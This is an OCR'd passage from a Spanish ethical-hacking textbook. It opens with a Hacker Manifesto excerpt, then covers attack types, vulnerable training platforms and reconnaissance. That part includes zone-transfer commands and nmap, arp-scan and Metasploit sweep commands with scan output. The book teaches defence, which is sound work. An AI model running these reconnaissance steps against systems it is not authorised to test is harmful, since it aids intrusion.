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Ahora este es nuestro mundo.
El mundo del electron y el conmutador, la belleza del baudio.

Nosotros hacemos uso de un servicio que ya existe sin pagar por lo que podria ser barato,

como el polvo, si no estuviera en manos de glotones hambrientos de ganancias,
y ustedes nos llaman criminales.
Nosotros exploramos.
y ustedes nos llaman criminales.
Nosotros buscamos detras del conocimiento...
y ustedes nos llaman criminales.
Nosotros existimos sin color, sin nacionalidad, sin prejuicios religiosos...
y ustedes nos llaman criminales.
Ustedes construyeron bombas atomicas,
ustedes hicieron la guerra,
ustedes asesinaron, engafiaron y nos mintieron
y trataron de hacernos creer que era por nuestro bien,

ahora nosotros somos los criminales.

Si, soy un criminal.
Mi crimen es la curiosidad
Mi crimen es el juzgar a las personas por lo que dicen y piensan,
no por lo que aparentan.
Mi crimen es ser mas inteligente, algo por lo cual nunca me olvidaras.
Soy un Hacker, este es mi manifiesto.
Tu podras detener este esfuerzo individual, pero nunca podras detenernos a todos.
después de todo, todos somos iguales.
[...]

Extracto de texto del Manifiesto de un Hacker
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INTRODUCCION

En la actualidad, la seguridad de los equipos y servidores es un elemento
crucial que cualquier administrador debe asumir como uno de sus objetivos
principales. La gran cantidad de software vulnerable que existe en el mercado ha
hecho que los hackers sean capaces de desarrollar exploits diseiiados contra
sistemas que ain no tienen un parche o actualizacion disponible de fabricante,
capaz de subsanar el fallo encontrado. Ante este problema, el administrador de un
sistema informatico debe estar preparado para afrontar cualquier error de seguridad
que pueda comprometer la seguridad del sistema. Para hallar una solucion a este
conflicto, el administrador debe ponerse en la piel de un hacker e intentar vulnerar
¢l mismo la seguridad de su sistema.

Pero, ¢es un administrador un hacker? Ambos poseen amplios
conocimientos informaticos y analizan la seguridad de las empresas en busca de
fallos, pero la diferencia radica en su ética y profesionalidad.

Mientras un hacker “examina” un sistema informatico con dudosos fines
(econdmicos, venganza, diversion...) un administrador lo hace para proteger el
sistema contra posibles ataques de hackers.

En el libro aprendera las técnicas que se utilizan para buscar y comprobar
los fallos de seguridad de un sistema informético.
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El libro se divide en los siguientes capitulos:

e Capitulo 1. Conceptos basicos. Se veran los conceptos basicos y los
tipos de ataques mas frecuentes.

e Capitulo 2. Buscar un vector de ataque. Se analizara la forma en que
un atacante busca informacion de su objetivo.

e Capitulo 3. Hacking de sistemas. Se veran las diferentes herramientas
que permiten obtener informacion de un sistema y se estudiaran ataques
locales al sistema.

e Capitulo 4. Hacking de redes. Se analizan los diferentes ataques de
redes como sniffer, Man in the middle, etc.

e Capitulo 5. Hacking de servidores web. En este capitulo se veran las
diferentes herramientas que permiten buscar fallos de seguridad en
servidores web y se analizaran algunos de los ataques mas importantes
como SQL inyection, XSS, RFI, etc.

e Capitulo 6. Hacking de aplicaciones. En el ultimo capitulo se
estudiaran las formas que hay para atacarnos utilizando aplicaciones.
Algunos de los ataques que se veran son: troyanos, keyloggers, etc.



Capitulo 1

CONCEPTOS BASICOS

Segtin la Real Academia de la Lengua, seguridad es la cualidad de seguro,

es decir, de estar libre y exento de todo dafio, peligro o riesgo. En informatica,
como en tantas facetas de la vida, la seguridad entendida segun la definicion
anterior es practicamente imposible de conseguir, por lo que se ha relajado y se
tiende mas al concepto de fiabilidad; se entiende un sistema seguro como aquel que
se comporta como se espera de él.

De los sistemas informaticos, ya sean sistemas operativos, Servicios o

aplicaciones, se dice que son seguros si cumplen las siguientes caracteristicas:

Confidencialidad. Requiere que la informacion sea accesible
unicamente por las entidades autorizadas.

Integridad. Requiere que la informacion solo pueda ser modificada por
las entidades autorizadas. La modificacion incluye escritura, cambio,
borrado, creacion y reenvio de los mensajes transmitidos.

No repudio. Ofrece proteccion a un usuario frente a otro usuario que
niegue posteriormente que se realizo cierta comunicacion. El no repudio
de origen protege al receptor de que el emisor niegue haber enviado el
mensaje, mientras que el no repudio de recepcion protege al emisor de
que el receptor niegue haber recibido el mensaje. Las firmas digitales
constituyen el mecanismo mas empleado para este fin.

Disponibilidad. Requiere que los recursos del sistema informatico estén
disponibles a las entidades autorizadas cuando los necesiten.
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1.1 AMENAZAS DE SEGURIDAD

Se entiende por amenaza una condicion del entorno del sistema de
informacion (por ejemplo, persona, maquina, etc.) que, dada una oportunidad,
podria dar lugar a que se produjese una violacion de la seguridad (confidencialidad,
integridad, disponibilidad o uso legitimo).

Las amenazas de seguridad pueden caracterizarse modelando el sistema
como un flujo de informacion; desde una fuente, como por ejemplo un fichero o un
equipo, a un destino como, por ejemplo, otro fichero o un usuario.

Fuente de la Destinatario de
informacion la informacion
Flujo normal
Interrupcion Intercepcién

O

Modificacion Fabricacion
Figura 1.1. Tipos de amenazas

Tal y como puede ver en la figura 1.1, las cuatro categorias generales de
amenazas o ataques son los siguientes:

e Interrupcién. Un recurso del sistema es destruido o deja de estar
disponible. Este es un ataque contra la disponibilidad. Un ejemplo de
ataque es la destruccion de un elemento hardware, como un disco duro,
cortar una linea de comunicacion o deshabilitar el sistema de gestion de
ficheros.
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Intercepcion. Una entidad no autorizada consigue acceso a un recurso.
Este es un ataque contra la confidencialidad. La entidad no autorizada
puede ser una persona, un programa o un ordenador. Un ejemplo de este
ataque es escuchar una linea para registrar los datos que circulen por la
red y la copia ilicita de ficheros o programas (intercepcion de datos), o
bien la lectura de las cabeceras de paquetes para desvelar la identidad de
uno o mas de los usuarios implicados en la comunicacion observada
ilegalmente (intercepcion de identidad).

Modificacién. Una entidad no autorizada no solo consigue acceder a un
recurso, sino que es capaz de manipularlo. Este es un ataque contra la
integridad. Un ejemplo de este ataque es alterar un programa para que
funcione de forma diferente, modificar el contenido de un fichero o de
un mensaje transferido por red.

Fabricaciéon. Un ataque contra la autenticidad es cuando una entidad no
autorizada inserta objetos falsificados en el sistema. Un ejemplo de este
ataque es la insercion de mensajes espurios (mensajes basura) en una red
o afiadir registros a un fichero.

Estos ataques se pueden asi mismo clasificar de forma util en términos de

ataques pasivos y ataques activos.

1.1.1 Ataques pasivos

En los ataques pasivos el atacante no altera la comunicacion, sino que

unicamente la escucha o monitoriza, para obtener informacion de lo que esta
siendo transmitido. Sus objetivos son la intercepcion de datos y el andlisis de
trafico, una técnica mas sutil para obtener informacion de la comunicacion, que
puede consistir en:

Obtencion del origen y destinatario de la comunicacién, leyendo las
cabeceras de los paquetes monitorizados.

Control del volumen de trafico intercambiado entre las entidades
monitorizadas, obteniendo asi informacion acerca de actividad o
inactividad inusuales.

Control de las horas habituales de intercambio de datos entre las
entidades de la comunicacion para extraer informacion acerca de los
periodos de actividad.
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Los ataques pasivos son muy dificiles de detectar, ya que no provocan
ninguna alteraciéon de los datos. Sin embargo, es posible evitarlos mediante el
cifrado de las comunicaciones.

1.1.2 Ataques activos

Estos ataques implican algin tipo de modificacion del flujo de datos
transmitido o la creacion de un falso flujo de datos, se pueden dividir en cuatro
categorias:

e Suplantacién de identidad. El intruso se hace pasar por una entidad
diferente. Normalmente incluye alguna de las otras formas de ataque
activo. Por ejemplo, las secuencias de autenticacion pueden ser
capturadas y repetidas, lo que permite a una entidad no autorizada
acceder a una serie de recursos privilegiados suplantando a la entidad
que posee esos privilegios, como al robar la contrasefia de acceso a una
cuenta.

e Reactuacion. Uno o varios mensajes legitimos son capturados y
repetidos para producir un efecto no deseado como, por ejemplo,
ingresar dinero repetidas veces en una cuenta.

e Modificacion de mensajes. Una porcion del mensaje legitimo es
alterada, o los mensajes son retardados o reordenados, para producir un
efecto no autorizado. Por ejemplo, el mensaje “Ingresa un millon de
euros en la cuenta A” podria ser modificado para decir “Ingresa un
millén de euros en la cuenta B”.

e Denegacion de servicio. Impide o inhibe el uso normal o la gestion de
recursos informaticos y de comunicaciones. Por ejemplo, el intruso
podria interrumpir el servicio de una red inundandola con mensajes
basura. Entre estos ataques se encuentra los de denegacion de servicio
que consiste en paralizar temporalmente el servicio de un servidor de
correo, web, FTP, etc.
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1.2 TIPOS DE ATAQUES

En la tabla 1.1, puede ver un resumen de los ataques mas usuales:

Tabla 1.1. Tipos de ataques

Nombre  Descripcion Solucién
Adivinacion  Fuerza bruta o ataques basados en Informacion y firma digital.
de password  diccionarios.

Ataques Virus, gusanos, paginas de Antivirus, firma digital e

dirigidos por Javascript, etc. informacion.

datos

Confianza Aprovechar las relaciones de Autenticacion y filtrado de

transitiva confianza UNIX entre usuarios o paquetes.
hosts para tomar sus privilegios.

Explotar Un ataque aprovecha los fallos del ~ Actualizar el software y baterias de

bugs del software para poder hacerse conel  test.

software control de la maquina.

Fuzzer Ataque que permite generar datos Actualizacion el software y
aleatorios para enviarlos a un cortafuegos.
servidor y detectar posibles fallos en
su funcionamiento.

Hijacking Permite a un usuario robar una Filtrado de paquetes.
conexion de un usuario que ha sido Encriptado del protocolo.
autenticado en el sistema.

Ingenieria Un atacante convence a un usuario  Autenticacion e informacion.

social legitimo para que le facilite

informacion (contrasenas,
configuraciones, etc.).

Mensajes de
control de
red o
enrutamiento
fuente

Se envian paquetes ICMP para hacer
pasar los paquetes por un router
comprometido

Filtrado de paquetes y encriptacion.

Negacion de
servicio

Bloquear un determinado niimero de
servicios para que los usuarios
legitimos no lo puedan usar.

Eliminar paquetes con direcciones
falsas.

Los servidores deben limitar el
numero de recursos reservados por
una Unica entidad.
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Phising Es una variable de la ingenieria Autenticacion e informacion.
social. A través de mensajes de texto
“falsificados” y sitios web
fraudulentos engafian a los usuarios
con el fin de que revelen datos
financieros, datos personales,
contrasenas, etc.

Reenvio de  Retransmision de paquetes para Rechazar paquetes duplicados,

paquetes engaiiar o duplicar un mensaje (por  usando marcas de tiempo o niimero
ejemplo, una transferencia). de secuencia.

Rubber- Utilizar soborno o tortura para Defensa personal.

hosse obtener una determinada
informacion.

Sniffing Escuchar los datos que atraviesan Encriptado de datos o usar
una red. Se usa para obtener passwords no reusables
password.

Spoofing El atacante envia paquetes conuna  Encriptado del protocolo.
direccion fuente incorrecta. Las
respuestas se envian a la direccion
falsa. Pueden usarse para acceder a
recursos confiados sin privilegios.

Troyanos Software que se instala en el Firma digital, verificacion de
ordenador atacado que permite al software y filtrado de paquetes.
atacante hacerse con el control de la
maquina.

VLAN Técnica que permite tener acceso a  Configurar correctamente los

Hopping trafico de red de otra VLAN que dispositivos de red.

normalmente es inaccesible.

1.3 PLATAFORMAS DE ENTRENAMIENTO

Las plataformas de entrenamiento que permiten al usuario probar sus
conocimientos sobre hacking de una forma legal y comoda. Dichas plataformas
permiten muchas vias de realizar ataques categorizados por su tipo, nivel de
dificultad, etc.

A continuaciéon, se muestran las plataformas de entrenamiento mas

utilizadas.
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1.3.1 Damn Vulnerable Linux

Damn Vulnerable Linux (DVL) es una distribucion de Linux totalmente
insegura. Puede descargar DVL de (http://distrowatch.com/table.php?
distribution=dvl).

DVL utiliza un kernel 2.4, al que se han afiadido aplicaciones no
actualizadas y mal configuradas a fin de proporcionar multiples vulnerabilidades.
Ademas, utiliza los servidores mas utilizados (web, FTP, mail, etc.) perfectamente
instalados y listos para utilizar; o mejor dicho para explotar sus vulnerabilidades.

Ademas de permitir distintos tipos de brechas de seguridad, DVL
proporciona diversas herramientas como ensambladores, desensambladores,
debuggers y todas las herramientas necesarias para explorar en profundidad
posibles vulnerabilidades en las aplicaciones.

[
ple Mail Form Attack

Goand

| Narme:

ol o

fr—
Concel ||_Add_| Deiete

Figura 1.2. Damn Vulnerable Linux

1.3.2 Metasploitable

Metasploitable es la ultima creacion del grupo de Metasploit
(http://www.metasploit.com). Consiste en una imagen VMware de un sistema
Ubuntu con mas de 15 paquetes de servicios vulnerables, pudiendo ser todos ellos
explotados usando Metasploit Framework.
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1.3.3 Damn Vulnerable Linux Web App

Damn  Vulnerable Linux Web App (http://www.dvwa.co.uk/) es un
reconocido entorno de entrenamiento en explotacion de seguridad web escrito en
PHP y MySQL cuyo objetivo principal es permitir estudiar e investigar sobre las
diferentes tematicas involucradas en dicho campo en un entorno completamente
legal.

Gracias a su programacion deliberadamente vulnerable es posible realizar
pruebas sobre los diferentes tipos de ataques web que se pueden llevar a cabo en
este tipo de aplicacion y, més concretamente, sobre paginas web desarrolladas en
PHP.

3 Applications  Places  System (&)l X3 sunMay 1, 4:14 AM 5 [8] - &

Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome - Mozilla Firefox

File Edit View History Bookmarks Tools Help

&« v e = |[@ http://dvway MR M 2
[®] Damn Vulnerable Web App (DV... | 4 v

DR

== Welcome to Damn Vulnerable Web App!

e | Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulne(
_— are to be an aid for security professionals to test their skills and tools in a legal environmé

Setup | pers better the pi of securing web applications and aid teacher:

web security in a class room environment.

Brute Force | WARNING!

R | pamn Web App is damn vulnerable! Do not upload it to your hosting providers

CSRF any intemet facing web server as it will be We an

onto a local machine inside your LAN which is used solely for testing

File Inclusion |
4‘ Disclaimer

SQL Injection
SQL Injection (Blind) | We do not take responsibility for the way in which any one uses this application. We have
clear and it should not be used maliciously. We have given wamings and t

Upload J prevent users from installing DVWA on to live web servers. If your web server is comprorn

—_— Af DVAWA it is not.our. esnansibility. it is. the. rasnansibility. of the nersan/s wh tinloaded ai
>

Done 0 # @ £E Q FoxyProxy: Disabled @

Figura 1.3. Portada de la aplicacion DVWA



Capitulo 2

BUSCAR UN VECTOR DE ATAQUE

Es importante conocer la metodologia que sigue un atacante para poder
defendernos mejor de €l. La expresion “conoce a tu enemigo” es valida también en
el mundo de la informatica.

El primer paso que realiza un atacante es la exploracion. En la exploracion,
el atacante obtiene una lista de direcciones IP y de red utilizando barridos de pings,
consultas Whois y transferencias de zona. Estas técnicas proporcionan informacion
valiosa a los atacantes, incluyendo nombres de empleados, niimeros de teléfono,
rangos de direcciones IP, servidores DNS, etc.

En la figura 2.1 puede ver el esquema general del proceso de obtencion de
informacion por parte de un atacante.

Fallos de
seguridad

Identificar vulnerabilidades

Informacién de los

| Obtener Informacién (id SO servicios y puertos) |

Estructura empresa
Equipos activos

| Detectar equipos (whois, icmp, transferencias de zona)J

Figura 2.1. Esquema general del proceso de obtencion de informacion
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2.1 LOCALIZAR EL OBJETIVO

A continuacion se muestran las diferentes herramientas que permiten
localizar el objetivo para su posterior analisis.

2.1.1 La FOCA

Los documentos que se publican en la web son una fuente muy valiosa de
informacion. A partir de dichos documentos se puede obtener una gran informacioén
como herramientas y versiones que se utilizan en la empresa, usuarios, etc.

La FOCA (http://'www.informatica64.com/FOCA/) permite realizar
busquedas en servidores y dominios de los documentos que hay publicado y a
partir de ellos realizar la extraccion de metadatos en una gran cantidad de tipos de
documentos como: Microsoft Office, Open Office o ficheros PDF, Adobe
InDesign, EXIF, etc.

FOCA incluye también un modulo de descubrimiento de servidores, cuyo
objetivo es automatizar el proceso de bisqueda de los mismos mediante el uso de
técnicas enlazadas de forma recursiva. Las técnicas utilizadas con este fin son:

e Web Search. Busca nombres de /osts y dominios mediante la busqueda
de URL asociadas al dominio principal, cada /ink es analizado
nuevamente para extraer de ¢l nuevos nombres de Aosts y nombres de
dominio que puedan estar asociados.

e DNS Search. Se realizan consultas a los registros NS, MX y SPF de
cada dominio para descubrir nuevos nombres de /osts y nombres de
dominios.

e Resolucion IP. Consulta al servidor DNS la direccion IP asociada a un
nombre de servidor. Es recomendable realizar la consulta a un DNS
interno para obtener resultados mas exactos.

e PTR Scanning. Con el fin de obtener mas servidores ubicados en el
mismo segmento de una determinada IP se realiza un escaneo de
registros PTR.

e Bing IP. Por cada direccion IP descubierta se realiza un proceso de
bisqueda en Bing de nuevos nombres de dominio asociados a esa
direccion IP.
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Common names. Permite realizar ataques de diccionario contra el
servidor DNS. Utiliza un fichero de texto, que puede modificarse, donde
se encuentra una lista de nombres de host comunes como fip, pcOl,
pc02, intranet, extranet, internal, test, etc.

DNS Prediction. Se utiliza en entornos en los que se haya descubierto
un nombre de equipo que pueda indicar que se estd usando un patréon en
el sistema de nombres empleado.

Robtex. Permite analizar las direcciones IP y los dominios tratando de
descubrir nuevos dominios basandose en la informacion que Robtext
posee.

El uso de FOCA es bastante sencillo y transparente. En primer lugar, se
crea un proyecto indicando el nombre del mismo y el dominio principal sobre el
que se realizan las tareas de busqueda.

o Torit & Abot (5 Donste

FOcCA

NOWSRE PROYECTO

ol

e o gt Lot Tere'

/010001 00000

Frojst s

Figura 2.2. FOCA - Creacion del proyecto

Una vez creado el proyecto seleccione las opciones relacionadas con los
motores de busqueda que desea utilizar.

Para acceder al menu seleccione en el desplegable izquierdo el icono

Network.

= @ NOMBRE PROYECTO
B
@i Clerts (0)
- Servers (0)
7. Unlocated Servers
— Domains
=69 Roles
& ActiveDirectory
€% Drs

Figura 2.3. FOCA - Submenii Network
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En el desplegable de la parte izquierda aparecen los resultados obtenidos
en las diferentes secciones que puede ver en la figura 2.5.

FECA

Selectsemchiype

] iekSemen 19 Ao, meove resus with Rbtex © Goagle P
© Googlaied
Bing b
Birg 281

Google AP limiors
M G reschs for exchsearch
Max 32 ord n 3 sesrch sy

10N Search 7 ZoeTranster

NS, SOA Prmary Master, M. SFF. Dominkeys Recerd. DXV Pecerds, SR Rards for VoP. M
ard Acive veciory, Kerercs LOAP ana et Provy Atsscovary

¥ Dicsanay Search

g o 081 e A v s [ Bome

[P  Bogvisb
Bog P

Bing Web limitatons
M 000 resuls o sch sewrch
a3 words 03 sesrch srs

PTRScn

sties
1 vy show

1 Shotan s Rotiex

eyl i)
PRN— - [ v

Figura 2.4. FOCA - Opciones de configuracion

= @ NOMBRE PROYECTO - Vunerabitties
& I Backups
[ Directory listing
@ DNS Active Cache
% .DS_Store
2§ GHpB

@ PHP Code Execution (CVE-2012-1823)
¥ Insecure Methods

5 1S Short Name
Juicy files
23 Hip
(2 Paaitessogn ?glﬂpﬁe choices
@ rs
K Keberos & Sm
s :’:Pa.\ [ Listing
T LoadBalencer B
= % Leaks
& Prowy = Proxy
7] RemoteDesktop >
o €9 ZoneTransfer
b S Metadata
a e Documents (0/0)
L8 Whos B Metadata Summary

Figura 2.5. FOCA - Resultados

En la seccion de Metadatos apareceren todos los documentos accesibles
desde Internet. A partir de dichos documentos se pueden extraer y analizar los
metadatos de una forma sencilla.
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T Metadata
Documents (0/0)

Wetadata Summasy [este comiepepat + Searen |
|
| Tipe  URL Dowrioad  Dowrioad Date Sae Analaed|
5 \
{3 Emais (0) ‘
£7 Opersing Sysems (0 |
&, Passwords (0) |

5 Servers (0

Figura 2.6. FOCA - Analizando metadatos de los documentos

Es siempre interesante realizar tareas de extraccion de metadatos, ya que es
posible encontrar los nombres de usuarios validos que podran utilizarse por
ejemplo en tareas posteriores de ataques de fuerza bruta. También es interesante
desde el punto de vista de la informacion que muestra sobre las versiones utilizadas
para la creacion de los documentos. Serd una informacion muy til en escenarios
en los que se requiera el uso de técnicas del lado del cliente, ya que permite
conocer con exactitud las versiones del software utilizado por la organizacion y por
lo tanto pueden utilizarse exploits locales contra los mismos en el caso de ser
vulnerables. Un ejemplo clasico y que hoy en dia sigue vigente son las
vulnerabilidades conocidas en practicamente todas las versiones de Acrobat Reader
para la lectura de documentos PDF.

2.1.2 Bases de datos WHOILS

La organizacion de los dominios de Internet se realiza de forma
centralizada por varios organismos. De esta forma existen muchos sitios web que
permiten comprar o consultar los datos de un dominio determinado.

Las consultas Whois permiten obtener informacion sobre los datos del
comprador de dominio y servidores DNS en los que almacenan los dominios. En la
figura 2.7, puede ver un ejemplo de consulta Whois sobre el dominio ual.es a través
de la empresa www.arsys.es.

Si lo desea, también puede consultar la localizacion geografica de una
direccion IP a través de la pagina web http://cqcounter.com/whois/ (véase la
figura 2.8).
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‘Datos del Dominio ual.es

Nombra del dominio al es
Estado Dlegada

tarca UAL

Nimaro da tnscrioeidn de 14 yarca 1811310
0.

£5cha Caclidad 2005 1725 900

‘Agenta Registrador Intermet Names

CONTACTOS
Tino de Contacto Administrativo
HANDLE RMT4-ESNIC
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Forma J
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Figura 2.7. Consulta Whois en www.arsys.es
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Figura 2.8. Consulta Whois sobre la localizacion de una direccion IP

2.1.3 Consultas DNS inversas

Los servidores DNS se utilizan para hacer una correspondencia entre un
nombre de dominio y una direccion IP. Las consultas directas son aquellas en los
que a partir del nombre (por ejemplo, www.ual.es) obtengo la direccion IP del
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servidor que lo aloja. Y las consultas indirectas son aquellas en las que a partir de
la direccion IP de un servidor obtengo todos los dominios que aloja.

Las consultas directas son necesarias para el correcto funcionamiento de Internet
ya que sin ellas no seria posible poner en el navegador una direccion web y obtener
la pagina. Las consultas inversas no son necesarias pero si son muy peligrosas ya
que si un atacante conoce todos los dominios que tiene su servidor es logico que
intente entrar por el dominio mas vulnerable.

Existen muchas herramientas y péaginas web que permiten realizar consultas
inversas. Un ejemplo de este tipo de paginas lo puede encontrar en
www.seologs.com/ip-domains.html.

Find Domains That

ooy s20logs comfp-domains il sllaiix

98 40 | @ Roversa 1P DS ool Find Do Tk hareYour . |

10gS.com

‘Analyze, Straegize, Optimize .. Eam More!

home about tools  contact

Reverse IP DNS Domain

Check Tool Be #1 on
i oo man . Text Link Ads ~ Goosle!

Click here!

o i e 3
I adigtersicom : ‘
Monetize SEO Tools

Hosting is dint cheap these days. but al your website.

web hosts arent equal. Cheap hosts

ususlly jam mullle domains on one Lk e Check Toa
shared IP. There are difering opnions [ emnnne s | |

but it s safe o say is probably not 3 Google Tools

good idea to host your it on the same £l

1P with 3 questionabl sites

This tool will find other domain names hosted on your IP address. Just enter a domain

(www.xample.com) or an IP address (127.0.0.1) to get a lst of domain names that shate the 2
same IP address. Free Link
Exchange
Reverse I7/Domain Lookup
Domain or IP address
submit Start getting free
www.uales has address 150.214.156.62 links pointing to your
: serwin e 24 website Improve a
el socbook.compfdevafte pho =323 0_1_12 @ et Hiown ~

Figura 2.9. www.seologs.com/ip-domains.html

2.1.4 Transferencias de zonas DNS no autorizadas

De una forma sencilla de entender, las transferencias de zona pasan la
informacion de un servidor DNS a otro servidor DNS conocido como secundario.
Lo normal es que el servidor primario solo permita las transferencias de zona entre
maquinas autorizadas pero esa opcion no esta activada por defecto.
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Las transferencias de zona permiten a los atacantes obtener los registros de
un servidor DNS. Para realizar la transferencia de zona ejecute los siguientes
comandos en la consola:

nslookup
1ls -d dominio.es

Este comando intenta conseguir todos los registros del dominioDNS
solicitando una transferencia de zona desde el servidor DNS que ejecutd el
comando nslookup. En la figura 2.10 puede ver el resultado de la ejecucion de una
transferencia de zona.

)
z
s
=
]

MX
A
A
A
[
A
)
A
[
]
A
A
A
[
A
)

.wual
i
w2002
x14@cpd
x14f 1

ual.es. 301 es postmaster.ual.es. (20070)
1481 16400 7200 2592008 172808

Figura 2.10. Transferencia de zona

Un objetivo importante para un atacante es conocer la estructura interna de
la empresa, y sin duda el obtener las entradas DNS privadas de la empresa es una
buena forma. Por eso, para impedir que los atacantes obtengan dicha informacion
es necesario utilizar dos servidores DNS: uno externo al que se tendra acceso desde
el exterior y otro privado al que Unicamente se podra acceder desde la red interna
de la empresa.

Para impedir las transferencias de zona lo normal es limitar las
transferencias de zona solo a servidores autorizados y tener dos servidores
dependiendo de su uso: uno privado y otro publico. En el servidor publico se
almacenaran las entradas necesarias para que desde Internet puedan acceder a
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ciertos servidores de la empresa, como es el caso de los servidores web, correo
electronico, etc., y en el servidor interno se almacenardn todos los registros
internos de la empresa (por ejemplo, copiasseguridad.miempresa.com).

2.1.5 Barridos de pings

Uno de los pasos basicos de exploracion de una red para determinar qué
sistemas estan activos, es llevar a cabo un barrido de ping automatizado en un
rango de direcciones IP y de bloques de red. El comando ping se utiliza
tradicionalmente para enviar paquetes /CMP ECHO a un sistema destino, en un
intento de obtener un /CMP ECHO REPLY que indica que el sistema destino esta
activo. Aunque enviar un ping resulta un método aceptable para determinar el
numero de sistemas activos en una red pequefia o de tamafio medio, no es eficiente
en redes corporativas de mayor tamafio ya que, por ejemplo, para explorar una red
de clase A son necesarias varias horas.

En la figura 2.11 puede ver como el comando nmap —sP <dir de red>
permite detectar los equipos activos de una red.

=

Archivo Editar Ver Terminal Ayuda
[root@localhost ~]# nmap -sP 192.168.1.6/24 S

Starting Nmap 5.21 ( http://nmap.org ) at 2014-67-31 02:38 CEST
Nmap scan report for 192.168.1.1

Host is up (6.00068s latency).

MAC Address: 8C:0C:A3:26:41:87 (Unknown)

Nmap scan report for 192.168.1.2

Host is up (0.00053s latency).

MAC Address: C:C1:C0:24:1B:44 (Unknown)

Nmap scan report for 192.168.1.3

Host is up (0.00058s latency).

MAC Address: 10:1F:74:47:5D:37 (Unknown)

Nmap scan report for 192.168.1.33

Host is up (0.010s latency).

MAC Address: 78:€4:00:4D:B4:E0 (Unknown)

Nmap scan report for 192.168.1.34

Host is up (6.80021s latency).

MAC Address: 1C:6F:65:4C:2C:E2 (Unknown)

Nmap scan report for 192.168.1.36

Host is up (0.00084s latency).

MAC Address: 00:22:68:62:F4:99 (Hon Hai Precision Ind. Co.)
Nmap scan report for 192.168.1.42

Host is up.

Nnap done: 256 IP addresses (7 hosts up) scanned in 18.12 seconds
[root@localhost ~]# [

Figura 2.11. nmap —sP 192.168.0.1/24

2.1.6 Barridos de paquetes ARP

Tal y como hemos visto en la seccion anterior es fundamental determinar
que sistemas estan activos y en este caso lo haremos realizando un barrido de
paquetes ARP que automatizaremos utilizando las herramientas arpscan y
arpsweep.
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2.1.6.1 ARPSCAN

AROScan es una herramienta independiente que permite identificar los
equipos activos utilizando el protocolo ARP.

Para realizar la instalacion primero hay que acceder al sitio web oficial
(http://www.nta-monitor.com/tools-resources/security-tools/arp-scan) y descargar
arp-scan. Por ejemplo, en la URL http:// www.nta-monitor.com/files/arp-scan/arp-
scan-1.9.tar.gz puede descargar la version 1.9.

Descomprime el fichero y compile el codigo ejecutando:

# tar xvfz arp-scan-1.9.tar.gz
# ./configure
# make

Para determinar los equipos de la red ejecute el comando:
$ arp-scan --interface=eth0 --localnet

2.1.6.2 ARPSWEEP

ARPSweep es un modulo de la herramienta Metasploit que permite buscar
los equipos activos en una red. Se encuentra por defecto instalado en Metasploit y
para acceder al modulo concreto se deben realizar los siguientes pasos:

Ejecute la consola de Metasploit.
root:~/msf# ./msfconsole

Ejecute arp _sweep (véase la figura 2.12).

msf > use auxiliary/scanner/Discovery/arp sweep

Figura 2.12. Seleccion del modulo
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Indique la red que quiere escanear estableciendo la variable RHOST y ejecute el
script (run) tal y como se muestra en la figura 2.13.

Figura 2.13. Configurar opciones y ejecucion del moédulo

2.1.7 Trazado de rutas

Cuando enviamos un paquete de datos por Internet, este pasa por una serie
de routers hasta llegar hasta su destino. Realizar un trazado de rutas nos indica el
camino exacto que sigue el paquete y nos puede suministrar informacion muy util.

Existen varias herramientas que permiten realizar el trazado de rutas tanto
en consola como en entornos graficos. En consola puede utilizar el comando
tracert en Windows y fraceroute en Linux. Existen muchas herramientas graficas
que permiten obtener la ruta por donde pasan los paquetes. Un ejemplo de este tipo
de herramientas lo encontramos en Visual Router para Windows (figura 2.14) o
xtraceroute para sistemas GNU/Linux (figura 2.15).

Figura 2.14. Visual Route
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Profile s
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05 Host Hosts Viewer| Fisheye

Fiter Hosts

Figura 2.15. xtraceroute

2.2 ANALIZAR EL OBJETIVO
Una vez que se han identificado los host que hay operativos dentro de la
red con los mecanismos anteriormente descritos y se ha seleccionado uno o varios

objetivos, el sigue paso es analizarlos.

Para ello, se realizara una exploracion de los principales puertos (TCP,
UDP...) para conseguir:

e Identificar los servicios que se estan ejecutando en el sistema.
e Identificar el tipo de sistema operativo instalado en el sistema.

e Identificar las versiones o aplicaciones especificas de un determinado
servicio.

e Identificar las vulnerabilidades del sistema.

2.2.1 Identificar los servicios TCP y UDP

La exploracion de puertos permite identificar los puertos que estan
abiertos, lo cual resulta muy util ya nos indica que servicios tiene activos el
servidor. Desde el punto de vista de un atacante revela posibles objetivos, y desde
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el punto de vista del analista nos permitird averiguar qué puertos hay abiertos y
descubrir servicios extraios.

Existen muchas herramientas que permiten la exploracion de puertos pero,
sin duda, la mas utilizada es nmap. Puede obtener nmap a través de los repositorios
de su distribucion o directamente desde el sitio oficial http://nmap.org.

A continuacion se muestra como instalarlo en las distribuciones mas
utilizadas:

e Fedora

1) Instale nmap de forma automatica:
#yum install nmap
2) Para instalar la interfaz grafica ejecute:

#yum install zenmap
e  Ubuntu

1) Ejecute nmap de forma automética ejecutando:
#aptitude install nmap
2) Para la instalar la interfaz gréafica ejecute:

#aptitude install nmapfe

Ahora que ya tiene el programa instalado no tenemos nada més que
ejecutar:

$nmap <IP_a_analizar>

Si desea ver las distintas opciones disponibles de escaneo como, por
ejemplo las relacionadas con la informacion que desea que devuelva, puede utilizar
el comando man. Y si lo que queremos es realizar el escaneo a través de una
interfaz gréafica ejecute nmapfe.

Como podemos ver en las figuras 2.16 y 2.17 en las maquinas escaneadas
se encuentran abiertos los puertos 21(FTP) y 22(SSH), entre otros.
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Archivo Editar Ver Terminal Solapas Ayuda
usuario@debian:~$ nmap 192.168.112.133

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-83-12 14:57 CET
Interesting ports on 192.168.112.133:

Not shown: 1677 closed ports

PORT  STATE SERVICE

21/tcp open ftp

22/tcp open ssh

111/tcp open rpcbind

Nmap finished: 1 IP address (1 host up) scanned in 0.645 seconds
usuario@debian:~$

Figura 2.16. Resultado de la ejecucion de nmap

- Nmap Front End va.11 TR
Fle View Help

Targeta): [192.168.112.33 | G (o)

Scan | Discover [Timing | Fies |options

Scan Type Scanned Ports

| s steath scan 2| || efaute

Scan Extensions

) RPC Scan ] 0S Detection 4 Version probe

Starting Nmap 4.11 ( http://wes.insecure.org/nmap/ ) at 2008-03-12 15:01 CET
Interesting ports on 192.168.112.133:
Not_shown: 1677 closed ports

PORT  STATE SERVICE VERSION
21/tcp open ftp WU-FTPD wu-2.6.1-16
22/tcp open ssh OpenssH 2.5.2p2 (protocol 1.99)

